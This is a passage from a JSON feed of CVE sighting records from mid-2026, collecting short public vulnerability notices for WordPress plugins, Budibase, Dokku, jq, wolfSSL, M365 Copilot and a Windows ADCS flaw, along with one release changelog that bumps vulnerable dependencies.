"CVE-2026-54821", "type": "seen", "source": "https://bsky.app/profile/hugovalters.bsky.social/post/3mp4w67bmw227", "content": "CVE-2026-54821 - Sensitive Data Exposure in Subscriber Visual Link Preview <= 2.3.1. High severity, CVSS 7.4. No patch available. Disable or isolate immediately. #CVE #infosec #Subscriber\n\nhttps://www.valtersit.com/cve/CVE-2026-54821/", "creation_timestamp": "2026-06-25T17:07:53.603180Z"}, {"uuid": "c7e73d92-65fd-430a-91ff-7424b23fb2a3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54479", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-176-02", "content": "", "creation_timestamp": "2026-06-25T17:15:19.508709Z"}, {"uuid": "73417d8c-0da6-46df-8632-79a7785d6ba4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54679", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mp4yq3qjse2o", "content": "CVE-2026-54679 - jq: potential integer overflow in jvp_string_append\nCVE ID : CVE-2026-54679\n \n Published : June 25, 2026, 5:16 p.m. | 28\u00a0minutes ago\n \n Description : jq is a command-line JSON processor. Prior to 1.8.2, on 32bit system, jvp_string_append has a chance of intege...", "creation_timestamp": "2026-06-25T17:53:41.044366Z"}, {"uuid": "22c82946-0ff3-4711-a244-ffa578eecf53", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5460", "type": "seen", "source": "https://bsky.app/profile/euvd-bot.bsky.social/post/3mp5d5qsu5t2a", "content": "\ud83d\udea8 EUVD-2026-39554\n\ud83d\udcca 2.3/10\n\ud83c\udfe2 wolfSSL\n\n\ud83d\udcdd Use-after-free in PQC hybrid key-share handling. This is an incomplete-fix follow-up to CVE-2026-5460 (released in 5.9.1): a malicious TLS 1.3 server send...\n\n\ud83d\udd17 https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-39554\n\n#cybersecurity #infosec #cve #euvd", "creation_timestamp": "2026-06-25T21:00:16.967193Z"}, {"uuid": "bf420a33-3fef-43f6-91ad-f699e6c4e018", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54479", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mp5hbievx22w", "content": "CVE-2026-54479 - EVoke Systems EVoke CSMS Insufficient Session Expiration\nCVE ID : CVE-2026-54479\n \n Published : June 25, 2026, 8:56 p.m. | 48\u00a0minutes ago\n \n Description : The WebSocket backend uses charging station identifiers to uniquely associate sessions but allows multipl...", "creation_timestamp": "2026-06-25T22:13:57.262584Z"}, {"uuid": "95e69e68-475f-40a9-afcd-5d319ce1be1e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54479", "type": "seen", "source": "https://bsky.app/profile/hugovalters.bsky.social/post/3mp5kgsxaoa2v", "content": "CVE-2026-54479 - DoS in Websocket backend. Predictable session IDs allow auth bypass or resource exhaustion. CVSS 7.3. No patch yet. Monitor systems closely. #CVE #infosec #cybersecurity\n\nhttps://www.valtersit.com/cve/CVE-2026-54479/", "creation_timestamp": "2026-06-25T23:10:37.156004Z"}, {"uuid": "3735c5fe-ee6e-42f4-b5ae-7a5c6830de67", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54130", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mp62yygivm2n", "content": "\ud83d\udccc CVE-2026-54130 - Missing authentication for critical function in M365 Copilot allows an unauthorized attacker to disclose information over a network. https://www.cyberhub.blog/cves/CVE-2026-54130", "creation_timestamp": "2026-06-26T04:07:07.455619Z"}, {"uuid": "adbfb727-157d-4a5a-8622-52ccfee4c3ef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54840", "type": "seen", "source": "https://bsky.app/profile/atomicedge.bsky.social/post/3mp66smgzc22w", "content": "CVE-2026-54840 newsletters-lite (CVSS Score 5.3) \n\n#WordPress plugin #vulnerability #cybersecurity #wordpressfirewall #hacking #wpsecurity #atomicedge #cybersecurity #malware #vulnerabilityresearch #cve #redteam #proofofconcept", "creation_timestamp": "2026-06-26T05:15:07.891963Z"}, {"uuid": "184ff745-6ea4-405e-88dc-29c8693f79f9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54844", "type": "seen", "source": "https://bsky.app/profile/atomicedge.bsky.social/post/3mp6c5vsvaf2n", "content": "CVE-2026-54844 checkview (CVSS Score 5.3) \n\n#WordPress plugin #vulnerability #cybersecurity #wordpressfirewall #hacking #wpsecurity #atomicedge #cybersecurity #malware #vulnerabilityresearch #cve #redteam #proofofconcept", "creation_timestamp": "2026-06-26T06:15:08.208152Z"}, {"uuid": "6249c60e-6118-41c0-8af0-1fb988fa641c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54133", "type": "seen", "source": "https://gist.github.com/FR-Flo/13052ec311abbd912fac9e5e2408f762", "content": "## \ud83d\udd17 Companion release\n\nThis release ships alongside the **Marketplace-client (frontend)** release PR:\n\n- https://github.com/Wishibam/Marketplace-client/pull/4137\n\n- **Trello**\n    - [Refonte Dashboard Marchand / ORGA](https://trello.com/c/5VPUOd2a/2366-refonte-dashboard-marchand-orga) **\ud83e\udd73Testing**\n        - *fix(dashboard): v2 ter* [\\#7583](https://github.com/Wishibam/Marketplace-api/pull/7583)\n        - *fix(dashboard): fix retailer filter param, enrich stock export and deprecate getSize/getColor* [\\#7602](https://github.com/Wishibam/Marketplace-api/pull/7602)\n    - [\ud83d\uded2\ud83d\udd0e Tri \u2014 passer en vue filtr\u00e9e par marchand (Marchand > Liste produit > D\u00e9tail produit)](https://trello.com/c/QtKdZOeE/2444-%F0%9F%9B%92%F0%9F%94%8E-tri-passer-en-vue-filtr%C3%A9e-par-marchand-marchand-liste-produit-d%C3%A9tail-produit) **In review WMS**\n        - *fix(wms): sorting retailer list* [\\#7588](https://github.com/Wishibam/Marketplace-api/pull/7588)\n    - [\ud83d\udd0d WMS - PICKING - Recherche au-del\u00e0 de la limite des 30 commandes](https://trello.com/c/cw1UsrG7/2427-%F0%9F%94%8D-wms-picking-recherche-au-del%C3%A0-de-la-limite-des-30-commandes) **\ud83e\udd75 Retour de test**\n        - *:sparkles: Add new search options for packing view* [\\#7589](https://github.com/Wishibam/Marketplace-api/pull/7589)\n    - [Traitement Cloudinary de la premi\u00e8re image de variation](https://trello.com/c/YuiI3bne/2449-traitement-cloudinary-de-la-premi%C3%A8re-image-de-variation) **\ud83c\udf89 Reviewed pas Merg\u00e9**\n        - *:sparkles: feat: process first variation image via Cloudinary preset* [\\#7592](https://github.com/Wishibam/Marketplace-api/pull/7592)\n    - [\ud83d\udce6\u2611\ufe0f WMS \u2014 Tri des colis : d\u00e9p\u00f4t de masse pour l'exp\u00e9dition (syst\u00e8me de coches)](https://trello.com/c/oMuGHbGB/2429-%F0%9F%93%A6%E2%98%91%EF%B8%8F-wms-tri-des-colis-d%C3%A9p%C3%B4t-de-masse-pour-lexp%C3%A9dition-syst%C3%A8me-de-coches) **\ud83e\udd73Testing**\n        - *:sparkles: WMS rework massTransfer on TriShipping* [\\#7593](https://github.com/Wishibam/Marketplace-api/pull/7593)\n \n- **Misc**\n    - *:sparkles: feat: store waybills on Scaleway buckets* [\\#7571](https://github.com/Wishibam/Marketplace-api/pull/7571)\n    - *Fix again issues with invoice table* [\\#7577](https://github.com/Wishibam/Marketplace-api/pull/7577)\n    - *:bug: fix: truncate over-long category names before persist* [\\#7578](https://github.com/Wishibam/Marketplace-api/pull/7578)\n    - *:arrow\\_up: deps: bump jmespath.php to 2.9.1 (CVE-2026-54133)* [\\#7579](https://github.com/Wishibam/Marketplace-api/pull/7579)\n    - *chore(deps): bump phpseclib/phpseclib from 3.0.52 to 3.0.54 in /api* [\\#7580](https://github.com/Wishibam/Marketplace-api/pull/7580)\n    - *:bug: Wrong wmsItems status when LineItems are reserved hours appart* [\\#7585](https://github.com/Wishibam/Marketplace-api/pull/7585)\n    - *:arrow\\_up: deps: bump guzzlehttp/guzzle & psr7 (3 CVE)* [\\#7587](https://github.com/Wishibam/Marketplace-api/pull/7587)\n    - *:wrench: chore: relax composer php upper-bound for PHP 8.5 deploy* [\\#7590](https://github.com/Wishibam/Marketplace-api/pull/7590)\n    - *fix(feed): preserve newlines (\\n) in product description on import* [\\#7591](https://github.com/Wishibam/Marketplace-api/pull/7591)\n    - *:bug: fix: first-image reprocessing actually reaches the eshop* [\\#7598](https://github.com/Wishibam/Marketplace-api/pull/7598)\n    - *:bug: fix: give each processed image a unique URL so re-processing reaches the eshop* [\\#7599](https://github.com/Wishibam/Marketplace-api/pull/7599)\n    - *:zap: perf: first-image processing once per flush, off the import worker hot path* [\\#7604](https://github.com/Wishibam/Marketplace-api/pull/7604)\n \n- **D\u00e9j\u00e0 en production**\n    - *fix(media): flush before Factory call so VichUploader sets contentUrl before URL is built* [\\#7594](https://github.com/Wishibam/Marketplace-api/pull/7594)", "creation_timestamp": "2026-06-26T14:56:19.120005Z"}, {"uuid": "c39a3ee3-98e4-49b8-a6f1-09e5daa87583", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54636", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mp7khj3szc2p", "content": "CVE-2026-54636 - Dokku: OS Command Injection via app.json managed Cron\nCVE ID : CVE-2026-54636\n \n Published : June 26, 2026, 4:23 p.m. | 1\u00a0hour, 21\u00a0minutes ago\n \n Description : Dokku is a docker-powered PaaS. Prior to 0.38.7, the cron plugin utilizes commands in the app.json f...", "creation_timestamp": "2026-06-26T18:16:20.003934Z"}, {"uuid": "b1edf2d5-38ce-4807-88da-a2ca0fa7d956", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54341", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mp7kq2nxgg26", "content": "CVE-2026-54341 - Dragonfly: RESTORE operations may crash the server\nCVE ID : CVE-2026-54341\n \n Published : June 26, 2026, 4:42 p.m. | 1\u00a0hour, 2\u00a0minutes ago\n \n Description : Dragonfly is an in-memory data store built for modern application workloads. Prior to 1.39.0, a crafted ...", "creation_timestamp": "2026-06-26T18:21:07.489681Z"}, {"uuid": "3f88e48e-faee-4894-9b61-e6364da83cd9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54557", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mp7ns2ae3e2q", "content": "CVE-2026-54557 - mise HTTP backend uses raw version path for install symlink destination\nCVE ID : CVE-2026-54557\n \n Published : June 26, 2026, 4:47 p.m. | 57\u00a0minutes ago\n \n Description : mise manages dev tools like node, python, cmake, and terraform. Prior to 2026.6.1, the mis...", "creation_timestamp": "2026-06-26T19:15:55.418239Z"}, {"uuid": "87ef2521-506c-4842-adf2-5193491a1b39", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54188", "type": "seen", "source": "https://bsky.app/profile/atomicedge.bsky.social/post/3mp7rux6h2u2b", "content": "CVE-2026-54188 jet-engine (CVSS Score 7.2) \n\n#WordPress plugin #vulnerability #cybersecurity #wordpressfirewall #hacking #wpsecurity #atomicedge #cybersecurity #malware #vulnerabilityresearch #cve #redteam #proofofconcept", "creation_timestamp": "2026-06-26T20:29:07.521038Z"}, {"uuid": "d16c1852-db4c-41d0-9f4e-9c4553df29ff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54351", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mp7wjwi2zx2m", "content": "CVE-2026-54351 - Budibase: Mass Assignment in Webhook Trigger Allows Cross-Workspace Automation Execution via appId Override\nCVE ID : CVE-2026-54351\n \n Published : June 26, 2026, 8:45 p.m. | 59\u00a0minutes ago\n \n Description : Budibase is an open-source low-code platform. Prior to...", "creation_timestamp": "2026-06-26T21:52:26.093128Z"}, {"uuid": "0234edde-8e5a-4ceb-8d4d-8721ba210481", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54353", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mp7wwbufwl2l", "content": "CVE-2026-54353 - Budibase: Potential SSRF DNS rebinding bypass in outbound fetch validation\nCVE ID : CVE-2026-54353\n \n Published : June 26, 2026, 8:44 p.m. | 1\u00a0hour ago\n \n Description : Budibase is an open-source low-code platform. Prior to 3.39.9, authenticated users with aut...", "creation_timestamp": "2026-06-26T21:59:20.584540Z"}, {"uuid": "cae3a08c-893e-4d82-a5d6-3148523d0271", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54351", "type": "seen", "source": "https://bsky.app/profile/malwareobserver.bsky.social/post/3mp7xfcnzpe2s", "content": "\ud83d\udc1b VULNERABILITIES CVE Notify: \ud83d\udea8 [CVE-2026-54351](https://github.com/Budibase/budibase/security/advisories/GHSA-rgvg-3wpc-h44p)\nBu...\nhttps://github.com/Budibase/budibase/security/advisories/GHSA-rgvg-3wpc-h44p #CVE #ZeroDay #PatchManagement", "creation_timestamp": "2026-06-26T22:07:44.815724Z"}, {"uuid": "4864f77a-fde9-433f-8769-d9dd7b307a50", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54352", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mp7y5eswhr2c", "content": "CVE-2026-54352 - Budibase: Arbitrary file read by workspace-builder via PWA-zip symlink upload\nCVE ID : CVE-2026-54352\n \n Published : June 26, 2026, 8:32 p.m. | 1\u00a0hour, 12\u00a0minutes ago\n \n Description : Budibase is an open-source low-code platform. Prior to 3.39.9, `POST /api/pw...", "creation_timestamp": "2026-06-26T22:21:12.234822Z"}, {"uuid": "67c57e11-8806-45ee-b897-b902e97926c3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54350", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mp7zrsqa4s2x", "content": "CVE-2026-54350 - Budibase: Anonymous NoSQL operator injection via published-app query templates\nCVE ID : CVE-2026-54350\n \n Published : June 26, 2026, 8:44 p.m. | 1\u00a0hour, 1\u00a0minute ago\n \n Description : Budibase is an open-source low-code platform. Prior to 3.39.12, an unauthenti...", "creation_timestamp": "2026-06-26T22:50:31.813259Z"}, {"uuid": "679543d1-d40a-436b-816c-3b21469eb710", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54835", "type": "seen", "source": "https://bsky.app/profile/atomicedge.bsky.social/post/3mpavzwslkw2v", "content": "CVE-2026-54835 food-and-drink-menu (CVSS Score 5.3) \n\n#WordPress plugin #vulnerability #cybersecurity #wordpressfirewall #hacking #wpsecurity #atomicedge #cybersecurity #malware #vulnerabilityresearch #cve #redteam #proofofconcept", "creation_timestamp": "2026-06-27T07:16:09.135199Z"}, {"uuid": "3574cae7-5571-432f-8122-30d55e01ecec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54350", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mpcarllaqs2c", "content": "\ud83d\udd34 CVE-2026-54350 - Critical (10)\n\nBudibase is an open-source low-code platform. Prior to 3.39.12,  an unauthenticated visitor of an...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-54350/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-06-27T20:01:01.130926Z"}, {"uuid": "541f0310-f35b-463a-8063-39c82d5b1911", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54825", "type": "seen", "source": "https://bsky.app/profile/hugovalters.bsky.social/post/3mpckvqqqp42r", "content": "CVE-2026-54825 - SQL Injection in wpDataTables <=7.4. Unauthenticated exploit. CVSS 9.3. No patch yet. Disable plugin or restrict access immediately. #CVE #WordPress #infosec\n\nhttps://www.valtersit.com/cve/CVE-2026-54825/", "creation_timestamp": "2026-06-27T23:02:18.124982Z"}, {"uuid": "35dfbabf-6b5b-45ef-90d4-9f1aa5353445", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54351", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mpdceescft2g", "content": "\ud83d\udfe0 CVE-2026-54351 - High (8.2)\n\nBudibase is an open-source low-code platform. Prior to 3.39.9, the webhook trigger endpoint in Bu...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-54351/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-06-28T06:02:04.643147Z"}, {"uuid": "f85ecd5b-ea2c-4c92-bb7e-a391a8e6e8b8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54837", "type": "seen", "source": "https://bsky.app/profile/atomicedge.bsky.social/post/3mpdd5jcbid2g", "content": "CVE-2026-54837 all-in-one-intranet (CVSS Score 5.3) \n\n#WordPress plugin #vulnerability #cybersecurity #wordpressfirewall #hacking #wpsecurity #atomicedge #cybersecurity #malware #vulnerabilityresearch #cve #redteam #proofofconcept", "creation_timestamp": "2026-06-28T06:16:07.473347Z"}, {"uuid": "39400bb2-eef6-4984-8e3a-7f4c285d0ede", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54838", "type": "seen", "source": "https://bsky.app/profile/atomicedge.bsky.social/post/3mpdgj7nrhr2z", "content": "CVE-2026-54838 wc-vendors (CVSS Score 6.5) \n\n#WordPress plugin #vulnerability #cybersecurity #wordpressfirewall #hacking #wpsecurity #atomicedge #cybersecurity #malware #vulnerabilityresearch #cve #redteam #proofofconcept", "creation_timestamp": "2026-06-28T07:16:21.299707Z"}, {"uuid": "c44c102d-6a6e-4a36-85dd-f9a789aac2e4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54847", "type": "seen", "source": "https://bsky.app/profile/atomicedge.bsky.social/post/3mpdju3fgw726", "content": "CVE-2026-54847 stylish-cost-calculator (CVSS Score 5.3) \n\n#WordPress plugin #vulnerability #cybersecurity #wordpressfirewall #hacking #wpsecurity #atomicedge #cybersecurity #malware #vulnerabilityresearch #cve #redteam #proofofconcept", "creation_timestamp": "2026-06-28T08:16:06.929455Z"}, {"uuid": "df80e4f3-045c-43ac-ab01-6d4db2f9b0e6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54352", "type": "seen", "source": "https://bsky.app/profile/hugovalters.bsky.social/post/3mpdmouqwyg2u", "content": "CVE-2026-54352 - Critical Path Traversal in Budibase. Symlink extraction allows reading arbitrary files. CVSS 9.6. Unpatched - limit builder access immediately. #CVE #Budibase #infosec\n\nhttps://www.valtersit.com/cve/CVE-2026-54352/", "creation_timestamp": "2026-06-28T09:06:53.641937Z"}, {"uuid": "e9bb46df-8dd1-4222-b26e-945c3e972895", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54848", "type": "seen", "source": "https://bsky.app/profile/atomicedge.bsky.social/post/3mpdn7el4742c", "content": "CVE-2026-54848 woosquare (CVSS Score 5.3) \n\n#WordPress plugin #vulnerability #cybersecurity #wordpressfirewall #hacking #wpsecurity #atomicedge #cybersecurity #malware #vulnerabilityresearch #cve #redteam #proofofconcept", "creation_timestamp": "2026-06-28T09:16:07.035513Z"}, {"uuid": "efdf98df-39ac-479d-b0fb-d4540accea66", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54121", "type": "seen", "source": "https://t.me/purpleshift/204", "content": "\u0414\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0441\u0432\u0435\u0436\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Windows Server \u043f\u043e\u0434 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435\u043c Certighost (CVE-2026-54121) \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044e \u0441 \u043c\u0438\u043d\u0438\u043c\u0430\u043b\u044c\u043d\u044b\u043c\u0438 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043d\u0430\u0434 \u0434\u043e\u043c\u0435\u043d\u043e\u043c. \n\n\u0410\u0442\u0430\u043a\u0430 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u0442 \u0440\u0435\u0437\u0435\u0440\u0432\u043d\u044b\u0439 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c \u0432 \u0441\u043b\u0443\u0436\u0431\u0435 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0432 ADCS, \u043f\u0440\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0438 \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e Certification Authority \u043e\u0431\u0440\u0430\u0449\u0430\u0435\u0442\u0441\u044f \u043a \u0443\u043a\u0430\u0437\u0430\u043d\u043d\u043e\u043c\u0443 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440\u0443 \u0434\u043e\u043c\u0435\u043d\u0430 (\u0430\u0442\u0440\u0438\u0431\u0443\u0442 cdc) \u0434\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u043e \u043c\u0430\u0448\u0438\u043d\u043d\u043e\u043c \u043e\u0431\u044a\u0435\u043a\u0442\u0435, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u043e\u043c \u0441 \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u043c (\u0430\u0442\u0440\u0438\u0431\u0443\u0442 rmd). \n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0441\u043e\u0441\u0442\u043e\u0438\u0442 \u0432 \u0442\u043e\u043c, \u0447\u0442\u043e CA \u043d\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442, \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u043b\u0438 \u0432 cdc \u0443\u043a\u0430\u0437\u0430\u043d \u043d\u0430\u0441\u0442\u043e\u044f\u0449\u0438\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440 \u0434\u043e\u043c\u0435\u043d\u0430. \u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u043c\u043e\u0436\u0435\u0442 \u0443\u043a\u0430\u0437\u0430\u0442\u044c \u043f\u043e\u0434\u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u044b\u0439 \u0435\u043c\u0443 \u0445\u043e\u0441\u0442 \u0441 \u043f\u043e\u0434\u0434\u0435\u043b\u044c\u043d\u044b\u043c\u0438 \u0441\u043b\u0443\u0436\u0431\u0430\u043c\u0438 LDAP/LSA \u0434\u043b\u044f \u043e\u0442\u0432\u0435\u0442\u0430 \u043d\u0430 \u0437\u0430\u043f\u0440\u043e\u0441.\n\n\u041f\u043e\u043d\u044f\u0442\u043d\u043e, \u0447\u0442\u043e \u043b\u0443\u0447\u0448\u0438\u0439 \u0441\u043f\u043e\u0441\u043e\u0431 \u0437\u0430\u0449\u0438\u0442\u044b \u2014 \u043d\u0430\u043a\u0430\u0442\u0438\u0442\u044c \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u043d\u0430 \u0432\u0441\u0435 ADCS-\u0441\u0435\u0440\u0432\u0435\u0440\u0430. \u041d\u043e \u043a\u0430\u043a \u0443\u0437\u043d\u0430\u0442\u044c, \u043d\u0435 \u043f\u043e\u0434\u0432\u0435\u0440\u0433\u043b\u0438\u0441\u044c \u043b\u0438 \u0432\u0430\u0448\u0438 \u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u044d\u0442\u043e\u0439 \u0430\u0442\u0430\u043a\u0435 \u0435\u0449\u0451 \u0434\u043e \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f? \u041e\u0431 \u044d\u0442\u043e\u043c \u0447\u0438\u0442\u0430\u0439\u0442\u0435 \u0432 \u0441\u0442\u0430\u0442\u044c\u0435 \u0414\u043c\u0438\u0442\u0440\u0438\u044f \u0429\u0435\u0442\u0438\u043d\u0438\u043d\u0430 \"\u0414\u0435\u0442\u0435\u043a\u0442\u0438\u0440\u0443\u0435\u043c \u0430\u0442\u0430\u043a\u0443 Certighost\".", "creation_timestamp": "2026-08-15T00:00:45.900011Z"}, {"uuid": "66d8cbca-5614-4df0-af1c-3b5e9cc6e10c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54352", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mpdt2kkhgd2y", "content": "\ud83d\udd34 CVE-2026-54352 - Critical (9.6)\n\nBudibase is an open-source low-code platform. Prior to 3.39.9, `POST /api/pwa/process-zip` at pac...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-54352/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-06-28T11:00:49.141725Z"}, {"uuid": "8de67a92-f80a-4586-b033-f6604da152ae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54353", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mpdt2rw3jx2g", "content": "\ud83d\udfe0 CVE-2026-54353 - High (8.5)\n\nBudibase is an open-source low-code platform. Prior to 3.39.9, authenticated users with automatio...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-54353/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-06-28T11:00:56.837339Z"}, {"uuid": "abb6e671-910b-4c49-a28d-b7fc1c225d62", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54636", "type": "seen", "source": "https://bsky.app/profile/hugovalters.bsky.social/post/3mpe55gm63o2y", "content": "CVE-2026-54636 - Critical OS Command Injection in Dokku. App.json cron commands with shell chars can break container isolation. CVSS 9.0. Update to 0.38.7 immediately. #CVE #Dokku #infosec\n\nhttps://www.valtersit.com/cve/CVE-2026-54636/", "creation_timestamp": "2026-06-28T14:01:21.957171Z"}, {"uuid": "be656a63-4f46-41f0-9205-57932c2db002", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": 